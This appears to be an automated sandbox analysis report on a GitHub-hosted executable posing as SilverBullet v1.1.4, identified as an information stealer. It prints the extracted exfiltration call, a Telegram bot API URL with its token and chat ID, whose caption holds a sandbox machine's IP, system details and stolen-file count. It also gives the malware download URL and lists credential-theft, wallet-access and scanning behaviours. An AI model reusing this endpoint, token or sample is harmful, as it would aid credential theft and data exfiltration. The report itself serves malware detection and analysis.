General
-
Target
https://github.com/ob2configmaker/SilverBullet/releases/download/v1.1.4/SilverBullet.v1.1.4.exe
-
Sample
241010-qe4mpasekr
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://github.com/ob2configmaker/SilverBullet/releases/download/v1.1.4/SilverBullet.v1.1.4.exe
Resource
win11-20241007-it
Malware Config
Extracted
gurcu
https://api.telegram.org/bot7415374304:AAHSK5p8yXRUTkol4R8DEgb269Y0asZr8OQ/sendDocument?chat_id=-1002231908268&caption=%0A-%20IP%20Info%20-%0A%0AIP:%20138.199.29.44%0ACountry:%20United%20Kingdom%0ACity:%20London%0APostal:%20SW1%0AISP:%20Datacamp%20Limited%20-%20A212238%0ATimezone:%20+01:00%0A%0A-%20PC%20Info%20-%0A%0AUsername:%20Admin%0AOS:%20Microsoft%20Windows%2011%20Pro%0ACPU:%20Intel%20Core%20Processor%20(Broadwell)%0AGPU:%20Scheda%20video%20di%20base%20Microsoft%20(1280,%20720)%0AHWID:%20Unknown%0ACurrent%20Language:%20Italiano%20(Italia)%0AFileLocation:%20C:\Users\Admin\Downloads\dsada\SilverBullet.v1.1.4\bin\disesteemersokulkgn.exe%0A%0A-%20Other%20Info%20-%0A%0AAntivirus:%20Unknown%0A%0A-%20Log%20Info%20-%0A%0ABuild:_____%0A%0APasswords:%20%E2%9D%8C%0ACookies:%20%E2%9D%8C%0AWallets:%20%E2%9D%8C%0AFiles:%20%E2%9C%85%206%0ACredit%20Cards:%20%E2%9D%8C%0AServers%20FTP/SSH:%20%E2%9D%8C%0ADiscord%20Tokens:%20%E2%9D%8C%0A%0A%0A&parse_mode=HTM
Targets
-
-
Target
https://github.com/ob2configmaker/SilverBullet/releases/download/v1.1.4/SilverBullet.v1.1.4.exe
-
Creates a large amount of network flows
This may indicate a network scan to discover remotely running services.
-
Contacts a large (938) amount of remote hosts
This may indicate a network scan to discover remotely running services.
-
Downloads MZ/PE file
-
Executes dropped EXE
-
Loads dropped DLL
-
Unsecured Credentials: Credentials In Files
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting
-
Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2
-
Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
-
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3